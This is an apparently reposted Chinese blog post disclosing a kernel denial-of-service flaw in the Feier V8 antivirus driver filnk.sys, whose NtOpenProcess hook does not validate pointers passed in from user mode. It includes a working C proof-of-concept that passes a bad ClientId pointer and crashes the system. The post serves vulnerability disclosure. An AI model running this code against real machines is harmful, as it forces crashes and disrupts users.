费尔V8智能杀毒多处内核拒绝服务漏洞

来源:互联网 发布:linux tomcat 日志 编辑:程序博客网 时间:2024/05/01 18:17
V8藏着掖着搞了这么多年,除了主界面弄了个毫无用处的动画外,其他附加的程序,例如“隔离区”,“日志管理器”等都是老版本的程序,感觉连个人作品都不如,山寨中的战斗机。哎,让吾等正版用户及其失望。

V8杀毒软件的动态防御驱动filnk.sys在内核对多个系统函数进行了hook,但是对Ring3传递进来的参数都没有任何的有效性检查就直接使用了。因此,造成了内核拒绝服务漏洞。

这里以其Hook的NtOpenProcess为例,函数偏移6A8C0,NtOpenProcess原型如下:

NTSTATUSNtOpenProcess (    __out PHANDLE ProcessHandle,    __in ACCESS_MASK DesiredAccess,    __in POBJECT_ATTRIBUTES ObjectAttributes,    __in_opt PCLIENT_ID ClientId    )

hook函数出问题部分如下:


如上图可以看出,Ring3传递进来的ClientId参数,其在内核中就直接使用了,并没有做任何有效性检查。


测试代码:

/*     作者:莫灰灰     博客:http://blog.csdn.net/hu3167343     描述:费尔V8智能杀毒内核拒绝服务漏洞测试程序*/#include "stdafx.h"#include <windows.h>int _tmain(int argc, _TCHAR* argv[]){        HMODULE hMod = LoadLibrary(L"ntdll.dll");        if (hMod)        {                PVOID p = GetProcAddress(hMod, "ZwOpenProcess");                if (p)                {                        printf("Your System Will Crash, Press any key to Continue.\n");                        getchar();                        __asm{                                push 0x80000000                                push 0                                push 1                                push 0                                call p                        }                }        }        return 0;}
ps:在安装了费尔V8,并且开启了主动防御的机器上运行上述程序,即刻蓝屏重启。